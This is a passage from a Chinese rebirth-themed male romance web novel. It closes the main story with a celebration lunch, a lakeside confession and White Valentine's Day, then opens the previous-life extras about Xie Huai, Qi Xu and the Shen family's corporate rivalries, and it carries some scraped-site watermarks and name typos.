戚栩熟练地握住了他的颈脖:“发什么疯?现在不是在家里,在你的公司, 你的形象不要了?” 戚栩还在顾及谢淮的形象,刚刚在外面那一遭也不知道惹多少非议。 谢淮看着戚栩恢复如常的眼神,高高吊起的心慢慢地放下,却仍然被一根不知从何处伸出来的线缠着。 戚栩的指腹蹭着他的颈侧,说:“洛滋的事我没怪你,你对我什么都没隐瞒,是我太过于专注自己的事所忽略。” 戚栩根本不会因为这件事去破坏他们两个目前持平的平稳性相处,这种感觉对两人来说是最舒服的。 事业各忙各的却不隐瞒,家事两个人共同解决。 谢淮盯着戚栩久久没有说话,瞳孔里翻涌着悲凉。 戚栩从爱人的眼睛里看出了很多压抑的情绪,恍然之间,他只在绑架那晚紧急送院在谢淮眼中见过。 当时他在谢淮的18岁回应了他28岁,闭眼之时就是那份悲凉。 “你想知道什么?” 谢淮许久没说过话的嗓子有些沙哑,闭了闭眼问:“我们的初识不是在网吧,而是在方倩成人礼。” 戚栩以28岁的视角回答他:“是。” 听到谢淮打破这份平衡,戚栩发觉自己好像很久没有再想起那段不算完美的人生。 这一世也多了前世他没有接触过的事,比如洛滋,也比如谢淮。 谢淮再问:“大学校园里我们两个不在同一个专业,不在同一个宿舍,形同陌路。” 最后四个字如鲠在喉,他费了好些力气才说出来。 戚栩已经不想问谢淮是如何得知,他重生一次都无法用科学依据来解释,也无法控制他人如何觉醒前世的记忆。 他的手慢慢的地从谢淮颈脖上放下,垂眸:“是。” 谢淮不敢再问下去,大学陌生的四年,分别的六年,重逢过后还没有来得及做什么,天人相隔。 他轻声,却惊恐地想确定这一件事:“是梦吧。” 谢淮多么希望戚栩再回答一句是,然而戚栩看着他说:“不是。” 谢淮心中的痛楚此刻放大,顿疼,像是一把烧得通红的铁烙在他的心,皮开肉绽,滋滋作响。 为什么不是梦,明明他从未经历过,那人也并非是他,如果是他,他不会让大学四年白白错过。 错过是这辈子最遗憾的。 谢淮紧紧地抱着戚栩,否认:“是梦,我没他那么愚蠢,白白错过了十年。” 已经放下一切的戚栩闻言笑了笑,反过来安慰他:“是,我们没有错过,我们在一起了。” 话音刚落戚栩被抱起,两人西装革履前一秒还在谈论公事,后一秒就在办公室里厮混。 戚栩拍着他的肩膀,骂道:“谢淮,你特么别乱来,外面还有人等着。” 两个团队还在外面等着老板主持大局。 谢淮听着不回应,将人轻轻地放在桌面,反握着他的后颈不容反抗地吻下来。 呼吸被夺去,似乎要把错过的十年补回来。 戚栩只觉得面前的人像只沉默的狼,恨不得将他拆之入腹。 穆然间,那张稚嫩的脸与那张成熟的脸慢慢重合覆盖,融为一体。 尽管谢淮不承认是同一个人,无可反驳的是从始至终都是同一个人。 爱他的人始终爱他,两世都不曾变过。 阵地彻底失守,大衣被褪去,手覆在腰间时被吻得晕乎的戚栩用尽最后一丝理智给按住了,有些狼狈道:“你的衣服,回家再脱。” 谢淮没有表情地停下来,垂眸看着戚栩,无论是衣服还是人,都是他的。 戚栩又说:“不是说准备了午餐,我饿了,今早醒得匆忙只喝了一杯牛奶。” 谢淮皱着眉帮戚栩穿上大衣,又把人从桌上抱下来。 两人离开办公室之前,戚栩在门后帮着整理谢淮的领带:“出了这扇门就是谢董了,外面都是人别挂脸。” 谢淮的心情差到爆炸,饭是要吃的,要把错过的午餐吃回来。 他俯身蹭了蹭戚栩的鬓角,不怎么乐意为某个人解释:“当时是真的想和你共进午餐才拖延谈判的时间。” 戚栩一把推开了他:“是啊,所以下次李恺兴去谈判的时候就立马让利签署合同,你一见如故的人是他吧。” 谢淮愣了下,显然是没记起来这件事,因为李恺兴并不重要,梦里没有他的位置。 戚栩拉开门,苏健鹏和李恺兴一行人在外面等候多时,谢淮脸色淡然地跟在戚栩身后。 李恺兴刚想和谢淮说话,然后被无情地扫了一眼,瞬间精神一凛。 “……” 噢,这位哥,你的眼神让人好生熟悉。 云瑞和洛滋签完合同直接进入庆功宴活动。 由洛滋主办,李恺兴第一次领略财大气粗集团的手笔,吃个午饭还开进度假区,入眼大片的中心湖泊和绿化。 李恺兴看了一眼门口,顿时瞪直了眼,喃喃:“会员费一年上百万的瑜海公馆,戚少,我现在值这个价了吗?” 戚栩没和谢淮一辆车,在对方的眼神压迫下回到云瑞阵营,上了李恺兴和助理的车。 前世瑜海公馆的规模比现在还要大,十年间开发了后山那一大片区域,是上流阶级奢靡的销金窟,在这里什么交易都有。 当时入会费都要上千万,这一笔费用隔绝了大部分中层豪门的入门资格。 戚栩不是瑜海公馆的会员,沈枫凯是,曾经有几次借着他的身份进入这里抢生意。 戚栩坦白:“我也不值这个价。” 他的所有流动资金全砸进云瑞的发展,只剩下过年收回来的红包钱。 下车后,门口等候的侍应引导着他们进入公馆,戚栩大致扫了一眼,现在的瑜海还是个宁静致远供人休闲的公馆。 进入包厢,提前一步到达的苏健鹏不知道在和谢淮说什么,语气有些兴奋,见到戚栩进来眼里的兴奋更是来到极点。 谢淮刚想拉开旁边的空座位,苏健鹏抢先一步,非常绅士地请戚栩入座。 “……” 戚栩冰冷的视线扫到谢淮身上,后者无辜地举了举手表示投降。 他笑着对苏健鹏说:“苏总,太客气了,你坐。” 苏健鹏已经知道谢淮和云瑞负责人感天泣地的爱情故事,年纪轻轻经历了这么多,怪不得谢淮执意要在首都设立分公司。 苏健鹏回:“一家人不说两家话,叫苏总太生疏了,叫鹏哥吧。” “……” 谢淮轻飘飘地扫了一眼苏健鹏,后者觉得比那时说要撤资还要恐怖,他也没说错什么吧。 好在没内讧起来,服务员拿着菜单进来。 李恺兴看到菜单上每一道四位数的菜品以及最低消188的拍黄瓜吓破了胆,没出息的手抖了抖。 戚栩没看菜单,谢淮把他喜欢吃的菜都点了,还贴心地和他说:“这里的醉虾不错,要不是试试。” 一看就是熟客。 不能喝酒,尝点酒也行。 戚栩说:“你看着点。” 李恺兴小心翼翼地加了一份1888荔枝木烤乳鸽,今天他非得尝尝38一份烤乳鸽和1888的烤乳鸽有什么不一样。 苏健鹏是港岛人,说起话来幽默风趣,经常带着点别人听不懂但通过语境能理解的语气词。 他给戚栩夹虾:“呐呐呐,我都说了,别跟我客气,今日你对我客气,以后你成为我们洛滋董事长夫人的时候是不是就要解雇我。” 苏健鹏和谢淮认识两年多,一开始对方找到他的时候他以为是过来留学的留学生,谁知了解过后才知道是刚读高二的未成年人。 不,应该是说手握上千万资产的投资人。 那时洛滋正在经历创始人之一的退股,苟延残喘,是谢淮把奄奄一息的洛滋救起来。 苏建鹏对谢淮的了解不限于工作,还有家世,当然,性格也是重中之重,两人相差12岁,几乎成为忘年之交。 戚栩说:“苏总说笑了,不是和你客气,而是……” 不等待戚栩说完,旁边伸出一只手将他碗里的虾扔到了苏健鹏的碗里,下一秒一只已经剥好的虾重新放了进去。 苏健鹏:“……” 哈,不吃陌生人的食物,家教真好。 李恺兴终于找到天涯沦落人,举起茶杯,以茶代酒地敬苏健鹏:“苏总,我敬你一杯。” 苏健鹏和李恺兴敬完茶之后安分地坐在自己的位置上给自己剥虾,这一刻他好想把老婆孩子从港岛接过来,给她们剥虾。【魔蝎小说 mo xie xs .c om】 【正文完】 第99章 第 99 章 只是顺利签署合同, 庆功宴的规模过于大,午饭之后各种活动,全场消费由洛滋买单。 李恺兴依旧没出息地拿着手机到处拍照, 并发上云瑞的高层群里, 工作之余还享受着度假假期,惹得众人纷纷开麦声讨。 两个团队大约有10人,费用计算下来也差不多大几十万,对洛滋来说不少,对李恺兴来说一个下午花费了他一年的年薪, 那可太过奢靡了。 “你家谢少年轻有为,年纪轻轻地就当上了洛滋的董事长,他现在的身价能买一百个我吧。”李恺兴想到在酒吧包厢的时候天真地以为谢淮真的是戚栩的助理, 真想给当时的自己一巴掌。 也怪不得当时谢淮能用洛滋做借口,原来那不是借口,只是人家的一部分产业。 午饭后, 李恺兴和戚栩在洛滋包下的包厢阳台晒阳光浴。 阳台前就是一大片草地,下午温度适宜, 戚栩被晒得暖和,昏昏欲睡:“买一百个你干什么?有钱没处花。” 李恺兴:“……” “老板,请你不要打击我的自信心, 我立志以后干到年薪千万。” 戚栩想了想,前世李恺兴做到了年薪千万了吗? 好像没有, 那时候的李恺兴只是他团队的项目经理, 沈氏的主要项目还是在沈枫凯手上。 如今李恺兴在他们公司, 以云瑞的发展, 十年之后应该能有这个年薪。 戚栩问:“以后就没想过自己出来单干或者跳槽?” 李恺兴猛地一下起身,竖起手指对天发誓地模样:“我绝无二心, 我问过了,洛滋管理层起步研究生打底,我不想考研,” 可能是刚刚在餐桌上偷摸地问一下洛滋管理层的年薪被他家老板听到了,以为他要跳槽,他只是为以后的年薪对齐颗粒度。 然而戚栩瞥了他一眼,这人比了ok手势,丝毫与发誓不相干。 人还是那个人,不管十年前还是十年后再遇洛滋,还是存在跳槽洛滋的想法,被学历给绊住了脚步。 戚栩吓唬他:“我想考研。” 李恺兴脱口而出:“你这个身份就用不着考研,都是董事长夫人了。” 戚栩白了他一眼:“我是要做总裁的人。” 李恺兴察觉身后有脚步声,转头一看,说曹操曹操到,他非常有眼力地起身让位置。 日光浴晒得舒服的戚栩已经闭上了眼睛,没注意李恺兴的离开,却闻到熟悉的香水味,他睁开眼和谢淮对上了眼神。 “不是陪苏总去钓鱼吗?怎么回来了。” 谢淮抬手蹭了蹭戚栩不算太凉的脸:“我不是他的陪玩。” 戚栩笑了笑:“那是我的陪玩?” “嗯,陪你玩。”谢淮说。 说是庆功宴,吃完饭每个人都不见了踪影,窝在阳台未免对不起这个阳光明媚的下午。 两人走出包厢,在周末加班的日子里过上了情侣约会。 瑜海公馆还是一个休闲公馆,大片的草地上有不少的帐篷,一众年轻人在玩乐,帐篷外的气球也在随风飘动。 戚栩看了一会儿,不知道在想些什么,谢淮说:“等天气再暖和点,叫上徐亦辰他们一起露营。” 戚栩在想原来28岁的时候看到新奇的东西还是想要玩,以前一直藏着,没人看得出来,现在被谢淮给看出来了。 “我没露过营。” 谢淮牵起戚栩的手,十指相扣:“做什么都陪你。” 戚栩晃了晃他的手,被太阳照得眯眯眼,然后谢淮帮他戴上墨镜。 他抬头看着前方的太阳,和谢淮说:“有时候觉得自己真的好幸运,我不是一个意义上善良的人,也没想过恶有恶报,善有善报,但好似被天眷顾了。” 谢淮看着他:“那我们很配,都是幸运的人,性格不全然是善良。” 戚栩眼里带了笑意,露出果然还是你的笑容,问:“我现在有些怀疑,在网吧初见的时候你无缘无故牵着我手带我跑,是出于对学弟的关爱之心还是私心。” 毕竟谢淮的关爱之心可谓是把整个网吧的学弟都往教导主任手里送。 谢淮带着戚栩走到湖泊边,任由头发被微风吹乱:“私心吧,这是我第一次主动牵别人的手。” 戚栩在不知情的情况下拿下了谢淮的第一次牵手,他问:“为什么要牵我的手?” 明明谢淮不是一个主动和陌生人进行肢体接触的人,身上多少带着点少爷通病。 谢淮很自然地说:“你可以理解为一见钟情。” 戚栩转头看他,透过墨镜去看谢淮,他不怀疑这句话的真实性,只是他好像找到了那个不确定的答案。 前世两人的接触几乎都是不欢而散,十年之后再遇,见到他从楼梯滚落,眼里的情绪从心底里散发,一切都有迹可循。 戚栩停了下来,上前靠近吻了他一下:“谢淮同学,你的喜欢我收到了,我也喜欢你。” 李凯兴和苏健鹏在湖泊的另一边钓鱼,云瑞和洛滋的钓鱼比赛水深火热。 一行人原本对这场比赛不感冒,刚想离开,一转头就看到不远处亲吻的两人,两个团队的老板喜结连理。 也不知道谁欢呼了一声,像极了学生时期宿舍楼下告白现场起哄得最欢那一群人:“答应他!” 戚栩似乎被吓了一跳,谢淮大大方方地环着他的腰对看热闹的人熟视无睹。 正在钓鱼的两人也被吓了一跳,晃动了一下鱼竿。 鱼惊了,跑了,人疯了。 一个星期后,3月14号白色情人节,距离戚栩的生日还有一天。 不过戚栩似乎没想起来自己的生日,依旧被课程和项目占据了生活。 他已经很久没有过过生日,也没有什么节日仪式感,经常忽略一些节日。 比如他生日的前一天的情人节,那天他们从早八一直上到晚六,上课上到头昏脑胀。 戚栩还好,可以直接回家,但谢淮一下课就去了应酬,洛滋在首都开设分公司,谢淮一改秘密投资人的形象,以洛滋董事的身份应酬。 圈子里对谢淮的讨论没停下来过,有好事者竟然问到戚栩这里。 戚栩一向不是这个圈子里的人,不搭理,无视是他的作风。 一回到家后的戚栩吃完饭洗完澡在客厅等谢淮回家。 这一等就到凌晨11点,戚栩打着哈欠回房间,相比于今日是情人节,他更记得月中是交房租的日子。 在一起之后谢淮还在继续交房租,毕竟之前签署过半年的合同,白纸黑字,戚栩对合同又很严谨。 以收房租的名义帮谢淮攒钱,谢淮过年的红包他也一直没动过,全存在卡里。 老高有事请假一天,陈威送了戚栩回家之后,深夜到宴会现场接谢淮。 在后排的谢淮忽然开口:“在前面路口停一下。” 陈威怔愣了下,谢少坐他的车一向很少说话,如今听到他的话,再看了面前漆黑的路口,眼神警惕看向后视镜,准备要作战的意思。 “谢少,是后面的车不对吗?” 经过戚栩被绑一事,整个保镖团队都有些草木皆兵,这段时间也经过规模性的加训,第一时间排除危险因素。 谢淮说:“不是,前面巷口有家花店,我去拿订好的花束,” 陈威孤家寡人更不知今天是情人节,只知道月中是发工资的日子。 他沉默地把车开到前面路口。 谢淮下车,走进路口拐角处的花店。 今天是白色情人节,临近凌晨,花店依旧门庭若市。 一身西装的谢淮走到前台说出自己姓氏和联系方式。 在等花束时,谢淮拿出手机看戚栩给他发的信息,已经是一个小时之前,他回复信息,对面没回,可能睡着了。 店员很快从身后包的花束中拿出一束紫玫瑰,递给谢淮:“谢先生,你的花。” 相比于其他人手上的红玫瑰,那一束紫玫瑰吸引了所有人的注意。 谢淮在订单上签名,面无表情却不难看出眼里的温柔,珍重地捧着紫玫瑰走出花店。 等谢淮走后,有人问店员:“那个,我想问一下紫玫瑰的花语是什么,适合情人节送吗?” 店员说:“花语是永恒的爱,适合经历过风浪,准备踏入婚姻殿堂的情侣,适用于求婚的场合。” 戚栩迟迟没有等到谢淮回来,打着哈欠回房间睡觉。 不知道睡了多久,戚栩听到外面有动静忽然睁开眼睛。 以他的睡眠能力隔壁房间有动静是吵不醒他的,可能心有杂念,今天没收房租。 每次深夜谢淮应酬完回来都会在自己的房间洗漱,避免吵醒已经睡着了的戚栩。 戚栩拿着收款码就起床,不怎么困,很有礼貌地敲响谢淮的房门。 “交房租了。” 谢淮打开房门的那瞬是惊讶的,听到戚栩说的话更是哭笑不得。 他随意地擦着半干的头发:“今天是情人节,有没有优惠活动?” 哦,还是情人节,戚栩并没有表现出不记得今天是情人节的样子,遵循房东的冷漠:“不好意思啊,房租不参与情侣套餐的活动。” 谢淮像个租客无比诚挚,但说的话以及动作却像个想上位的租客。 他弯腰亲了一下戚栩的嘴角:“能不能让我享受一下水电全免,房租减半的优惠。” 全免,减半,踩中了戚栩的底线,他冷笑了一声:“想得美。” 话音刚落,谢淮把人带进了房间,似乎要以身相抵房租。 戚栩一个过肩摔把谢淮摔到床,欺身而上:“我是来问你拿房租的,不是做其他事。” 谢淮躺在床上似笑非笑地看着他:“情人节快乐。” 戚栩碰了碰他,哦一声:“情人节快乐。” 谢淮去抓他的手指:“生日快乐。” 戚栩给了他一脚:“滚,到12点了吗,就说生日快乐。” “做到12点。” “……” 谢淮不再逗戚栩,握着他的脚踝提前送了生日礼物。 戚栩只觉得脚一痒,低看过去,脚踝上多了一条红绳。 “什么意思?无时无刻绑着我。” 谢淮想过但不说,勾着红绳:“月老牵线,下辈子,下下辈子,我们都会在一起。” 戚栩没有说话,倏然放下收款码,钱财和面前的人相比,共同位列第一,他紧紧拥抱着谢淮。 也许不管重来多少遍,他们两个依旧会相爱,不是一见钟爱,也会是日久生情。 两个灵魂互相吸引,没有轰烈的山盟海誓,只有值得细品的细水流长。 深夜,两人相拥而眠,梦里不再有其他,有一束灿烂绽放的紫玫瑰。 还有携手同行的未来。 ————正文完————【魔蝎小说 mo xie xs .c om】 100--111今生三 100、前世 M国,洛滋分公司。 苏健鹏脸色深沉大步走进了董事长办公室,身后跟着一群人,每个人手上拿着平板,被人抄家似的严肃至极。 确实是被抄家,洛滋原定一个星期后的全球新品发布会被对家捷足先登,昨天发布了一款除外形不同之外功能,服务完全一致的智能机器人。苏健鹏得知消息火烧屁股地从港岛飞M国,找谢准商谈处理紧急突发情况。 推门而进,苏健鹏看到在办公桌前低头看着文件的谢准,后者闻声抬眸,神色平静,完全不像是一个被商业间谍盗窃所有心血的当事人。 也是,认识十年之久,谢准永远都是那副处事不惊的样子,养尊处优的少爷非得自己创业,有那样的背景创业过程说不上吃苦耐劳,但让人不解的是洛滋完全没有动用谢准的家族资源,完全是谢准这几年来亲自一笔一笔谈回来。如果忽略年龄,单看行事手段,说人到中年都不为过,不留情面,无情无义,情欲被人斩了一样。 “涉漏商业机密的人员已经全部转交调查组,中心收据一直都是只经你我之手,RA怎么会拿到那份数据,准确地应用进去。”谢准云淡风轻地说:“我给的。” 苏健鹏:“…不只他一个人,身后的高层震惊不已,这句话仿佛要成为呈堂证供。 这个时候总助进来把文件分派下去:“各位,偷窃数据的人是助理部的一个二助,因染上赌博无力偿还,RA用100万美金买通他为他们所用,老板一个月前就得知此事,让我们配合他,让RA完成盗窃机密。” 苏健鹏扫了一眼手中的文件,是关于RA的收购方案:“你这是为他人做家衣?”谢淮云淡风轻地说:“你再看看下面的那份数据。” 苏健鹏看了几眼没发现什么问题:“怎么了,不就是我们那份数据。”谢准没说话,苏健鹏再认真看了一次,终于在其中发现了不对,错误得太过隐秘,连他这个持有者都没有发现。 结合所有,谢准这是请君入瓮,RA作为他们洛滋的对家,不说商战,三天一小手段挑衅着也是常有的事。如今等RA出现问题宣布破产之后提出收购,是趁他病拿他命。 RA被成功收购的话,他们洛滋即将坐稳人工智能行业的龙头。洛滋持有股份最多的谢准,身价也将会翻一翻。 苏健鹏彻底松了一口气:“洛滋和RA斗了几年我以为我们要继续相爱相杀下去,原来你在这等着呢。”谢准垂眸,不知道在想些什么,过后才说:“不想浪费时间了,等得够久。” 苏健鹏以为他说的是关于收购RA一事,刚想说话,谢准桌面上的手机响了。按照开会惯例,谢准一般都会挂断。 谁知谢准只是扫过屏幕,立即拿起手机起身到窗边通话。苏健鹏好奇地看过去,这是谁的电话,让他们董事长破戒。 电话一接通,那人立即汇报:“老板,沈家老爷子去世了。” 谢准捏紧了手机,阖上眼藏住了心里那一丝酸楚,这多年来,沈老爷子是戚栩唯一的家人,也是仅有来往的沈家人。沈老爷子去世,戚栩和沈家牵连的那条摇摇欲坠线也就彻底断了。谢准知道的,这么多年,戚栩在乎的人只有沈老爷子。没有了挂念,戚栩的心就空了。 沈家人他不在乎,沈家他有继承权,沈老爷子还能劝一劝,现在老人仙鹤而去,戚栩在沈家人偏向明显的这条道上负重前行。谢准的声音有些哑:“葬礼什么时间举办。”那人说:“三天后。” 挂了电话后,谢淮第一时间和苏健鹏说:“三天后我有事回国一趟。”苏健鹏瞪大了眼睛:“在这么关键的时候你要离开?” 谢准说:“有紧要的事,我会安排好一切才走。”苏健鹏问:“就不能往后稍一稍,整个团队等着你发号施令。” 洛滋都没能改变谢准的想法,他说:“就算我不在场,RA破产是注定的事,没有我也能进行下去,但如果我不回国处理这件事,我会后悔。” 回国参加沈老爷子的葬礼他并不会后悔,抵达之后他又后悔没有提前一天。戚栩没有和沈家人一起主持葬礼,昨晚他在灵堂上跪了整整一晚,天刚亮才离去,带着下属赶往外地谈约项目。 在葬礼上谢准看到了沈老爷子的二儿一女,还有众多沈家旁支。葬礼被沈家人变成人脉交流现场,眼里并没有多大悲伤,可能是沈老爷子手里的股份被他们拿到手了。 沈家旁支在一边更是指树骂槐:“公司没了项目总经理转不动,我们得靠他一个人养着,真是得说声谢谢啊。” “老爷子生前最疼爱的孙子都没来,股份给了他一半,养出了个白眼狼。” “连香都不来上一柱,大哥大嫂,你们养出来的好儿子。” 沈卓海和曾云的脸色不太好,碍于客人在现场不好发作。过后这几家人手上的项目被截,事事不顺,都没有意识到祸从口出。 谢淮沉着脸听到他们的讨论,他的到来引起了沈家人的热情。 沈泽予更是惊讶谢准突然回国,他研究生毕业之后只是偶尔和谢准联系过,曾经几次飞到M国,发现谢准已经搬离曾经的住宅,连面都没见上,谢准就飞往其他城市出差。回国之后他发的信息谢准一条都没有回,沈泽予知道他很忙,理解他。 在葬礼上沈泽予和谢准交谈了几句,刚想约着葬礼结束之后再聚。谢准提前离开了,沈泽予跟上去被秦家人拦住,看着谢准上了秦家的车。 不远处的谢老爷子连亲孙子都没去见一面,重重地叹了一口气,他的孙子为了谁而回国一目了然,这么多年过去了,他在想是不是应该松口。生死有命,一个星期前才相约喝茶的人如今生死相隔。 谢准被带回了秦家,他一落地回国的消息就传到了谢秦两家。当年谢淮意识到自己对戚栩产生不明悸动的时候,像个愣头青一样无处可藏。 在一次他亲手处理了四处散播关于戚栩谣言的人,原本秦老爷子看在沈谢两家的关系上没在意,只是在秦家家宴上,他捡到了谢准的皮夹,从里面掉落出一张戚栩的两寸照。从此谢准对戚栩的感情就彻底隐藏在桩桩威胁里,还有那一份对赌协议。 谢准清楚,他和戚栩不过是认识的陌生人,经历过种种事情,戚栩可能已经把他当成了敌人。他在想,如果他出国,把两方的感情交给时间,结果会不会变好,起码大家都成熟了,能够正视自己所想。 所以这一次谢准和秦家人说明自己回国的目的,并带着当年那份即将完成的对赌协议。在秦老爷子面前他就是冥顽不灵,不知悔改,不到三句话把秦老爷子气进了医院。 沈老爷子去世不到半年时间,戚栩从项目总经理升为副总裁,而他也正式收购了RA准备回国。 期间,谢准的别墅迎来了不速之客。 谢准不太耐烦地看着赖在他家不走,只顾着借酒消愁的徐亦辰,冷声道:“飞14个小时就为了找我喝酒,徐亦辰你是不是没事干,飞这一趟都浪费燃料。” 徐亦辰大口灌了自己一杯酒:“我搭你家给你送物资的私人飞机来的,浪费不了一点燃油,你家每个月都给送物资啊,真好,我家没一个人把我当人。” 说着他竟然带了一丝哭声。 “我的婚姻由不得我自己做主,凭什么啊,他们为什么要把我的幸福夺去。” 谢淮朝他扔了一盒纸巾:“十年了,你的告白至今没有提上日程,我真不知道你在想什么。” 提到这个,徐亦辰的眼泪更是止不住了:“这么快就十年了吗,我怎么觉得我还是18岁呢,最近都在传方倩要订婚了,你知道传的订婚对象是谁吗?戚栩,十年前沈家找回来的亲生儿子。”谢准皱眉坐了下来,徐亦辰只顾着说没注意到谢准黑得像锅底的脸色。 “18岁成人礼上我和他打过一架,要不是当时你拦着我,我可能已经把他打残了,不过也幸好你拦着,当年偷窥之事是宋若明一手指使,方倩把这件事告诉了戚栩,然后他曝光了这个烂人之前所做的烂事,如今臭名远扬。” 谢准告诉他:“当时我没有拦着你,我拦着他,你不是他的对手,还有,他们不会订婚。”徐亦辰打了个酒嗝,迷糊地看着他,似乎不理解这句话的意思:“你怎么知道他不会和方倩订婚,你在国外不知道,戚栩在夺沈家的权,如果有方家的一臂之力,沈家必定是他的囊中之物。”谢准为自己倒了一杯酒:“回去之后,不管你有没有心,立即同方倩告白。”徐亦辰摇着头:“什么都没有准备好,不能这么快。” 都准备了十年了,也不知道到底要准备些什么。 谢准说:“我陪你准备,给你出计划,回去之后告白必须提上日程。”徐亦辰瞪圆了眼:“你要回国?”谢准抿了一口酒:“明天的飞机。”徐亦辰再次震惊他的速度。前段时间谢淮才收购RA,洛滋往前踏出一大步,事业全在M国,现在说回国就回国。“你的事业不要了?洛滋不要了?” 谢准放下酒杯,高脚杯和玻璃桌面相撞,响起清脆的一声。“洛滋不过是后路而已,现在铺好路,我总归要回到起点,带着他一起往前走。” 徐亦辰从小认识谢准,穿一条裤子长大,没见过谢准这个模样,十年铺路为了谁。他小心翼翼地问,不确定谢准会不会告诉他:“他是谁?” 谢淮却坦白:“戚栩。”. ……” 徐亦辰仿佛知道了什么惊天大秘密,酒气瞬间清醒:“是我认识的那个戚栩吗?所以大学四年你经常参加沈家宴会是为了他?”还带上他们三人当挡箭牌。 谢准没说话,徐亦辰已经确认这个事实:“你要不要这么纯情,参加不喜欢的宴会只为偷偷看他一眼,哦,人家不乐意参加这种宴会,一眼都没看到。”谢准嘲讽:“好过你十年时间连个屁都没放出来。” 两个情史为零的人互损,互相知道对方的秘密,逮着最戳人骨子的话说。 十分钟之后,徐亦辰瘫坐在沙发上:“行啊,我的告白是要提上日程,应该比你进程还要快些。”他举着酒杯看向谢准:“28岁,正是谈恋爱的年龄。” 谢准举起酒杯和他碰了碰。是啊,那时谢准以为他们还有很长的时间,毕竟才28岁,还非常年轻,有大把时间从熟悉的陌生人重新认识。 抱着能如愿以偿,就算失败都有重头再来的勇气。时间又算得了什么。 101、前世一戚栩升为沈氏副总裁那日天气算不上好,电闪雷鸣,狂风暴雨,广播,手机信息提醒广大市民注意出行。暴雨拍打在会议室紧闭的玻璃窗上,雨声都掩盖不住台下的人声鼎沸。 刚刚由董事会宣布戚栩成为沈氏的副总裁,沈枫凯团队激烈地反对。各方脸红耳赤地争吵,看似有理有据,其实都是在为自己争取最大的利益。 而当事人戚栩垂眸轻敲着大腿,仿佛把一切都当成耳边风,也没有开口说一句话。最后都没有吵出个所以然出来,只能宣布即日起通过沈氏官网发布戚栩任职的消息。 结束菜市场般的董事会,戚栩慢悠悠地走出会议室,身后跟着意气风发的李恺兴。 “不枉我周末去寺庙求神拜佛,肯定是我的诚心打动了佛祖,开工第一天就有好消息,我的年薪是不是也要往上涨一涨。”前面的几句废话不重要,最后一句才是重中之重。 戚栩不是一个严苛的上司,团队中所有人私底下都能和戚栩说几句私事。“行,听着有份,都给你们张点。” 身后跟着的下属笑了起来,人逢喜事精神爽,上班的怨气都少了。 戚栩那边笑口常开,身后的沈枫凯板着个脸带着一行人走上来。 人尽皆知副总裁和总裁水火不容,通通让开了位置,更有默默看热闹的。 沈权凯一改以往挖苦的形象,上下打量着面前这位初入公司孤立无接如今身后有多方支持的亲弟弟,不过是几年时光,董事会上不用开口就有人为他冲锋陷阵。“恭喜戚副总如愿以偿。” 戚栩勾了勾嘴角:“同喜,晚上我在云河定了包厢,独乐乐不如众乐乐,沈总也一起去庆祝。”装而已,谁不会装,这么多年了,戚栩知道怎么让沈枫凯觉得恶心。 果不其然,沈权凯脸上的嫌弃之意都快溢出来了“戚栩,我不知道大伯手上的股份是怎么被你弄到手,你现在占据海外项目,你我争斗可以,大伯是无辜的,你不要做大绝。”还是先入为主这套,成相和沈家人一向不对付,沈权凯也根本不认为戚相和沈卓宏的相处比沈家人和谐。 咸栩不在意地耸肩:“那又如何,怕我抢走你的总裁之位?这么怕的话看好你手下的人吧,别动不动就泄露商业机密,让我抓到把柄好拉你下位。” 沈枫凯怒瞪着他:“我是沈家长子,我是你哥,你觉得董事会同意你坐上这个位置?”“我又不姓沈。”戚栩丝毫没把沈枫凯放在眼里,“你是谁家的长子并不关我的事,我姓戚就好。” 沈权凯一愣,戚栩这是想让沈氏姓戚,这人狼子野心到这种地步。戚栩没再搭理沈枫凯,带着李恺兴一行人离开。 新官上任三把火,戚栩担任副总裁第一件事就是把只会吸血的沈家旁支一家清出沈氏。沈家旁支不敢在沈氏闹事,人要面子,在沈氏他们高低是个高层,面子大过天。 只好去沈家闹事,沈卓海每天都被那几家人吵得头疼,一声令下将戚栩叫回家。戚栩早已搬出沈家,老爷子在世时常去老宅,逢年过节也在那边,沈家对他来说只不过是一个虚名。 老爷子的遗愿希望他和沈家的关系能得到缓解,这也是老爷子去世后他第一次踏进沈家大门。在客厅见到沈家旁支,戚栩也知道了沈卓海叫他回来的目的。 戚栩转头就走,沈卓海见状皱眉让人拦住他:“干什么去,你母亲入院你不去探望,如今出院了,你也不愿意陪她吃顿饭。”戚栩回头:“饭是能吃,但我怎么不知道你们家的饭还要供着其他人,沈家是难民收容所?” 沈家三叔破口大骂,骂来骂去都是那几句没良心,白眼狼,戚栩都认了。 曾云闻声下楼,沈泽予扶着她。 她前段时间刚做完一个小手术,最近都在家休养,看到威迫不及待上前:“小栩。” 沈泽予在一旁扶着她坐下,说道“医生说情绪不要过于激动。”曾云无奈地拍着他的手“知道了,泽予管家。” 戚栩至此至终没有说什么,不让走那就坐,自从搬出沈家,沈卓海就再也没有办法控制他,什么坐姿,用餐姿势,他爱怎么来就怎么来。 群人又告状告到曾云那里去,曾云有些为难,这么多年来沈家和和睦睦,不是没有争吵,但都很少,哪像今日这样共同说不是,说的人还是她的亲儿子。 曾云不管公司事务,以家和万事兴为由和戚栩说:“革职是不是过于严重,他们是你的亲人,错误也没有到了无可挽回的地步。”小姑一家见曾云站在他们这边,说得更起劲了。 沈泽予开口:“公司的事妈妈不参与,你们对她说也没用,堂叔小姑,我妈需要休息,请你们不要拿这些事麻烦她,我让大哥处理吧,大家都是家人,有事互相帮忙。” 戚栩变成唯一的恶人,在小姑说着什么泽予定要进公司的话题时,他听了半句只觉得他们异想天开。沈泽予凭什么能进沈氏,要是真进去了,戚栩会毫不留情弄死他。沈卓海应该也是知道他的性格,所以根本没打算让沈泽予进沈氏,后来只是瞒着他把股份转给沈泽予。 沈家旁支在沈卓海面前夸赞沈泽予,沈卓海脸上带着笑意,其乐融融的一家人。戚威也懒得看下去,离开沈家半天也没有人孪觉。 沈枫凯处理不了沈家旁支的问题,有戚栩压着,他对抗不了整个董事会,吸血的废物最后都没有再进入沈氏。 戚栩每个周末都会回老宅,老爷子去世后,老宅遣散了大部分佣人,只剩下李叔和几个老人。戚栩回去先到佛室给老爷子上香,然后独自一个人到书房练字,修身养性。 书房的一些物品都还没有销毁,柜子里,老爷子留着他这么多年在书房练字纸张,一张都没有缺。 小时候他不明白家长为什么要将孩子的奖状荣誉收起来,也没有经历过,不说藏起来,戚国辉没有当场撕烂是他喝得火烂醉起不来。长大之后有人帮他藏起来,可人已经不在了。 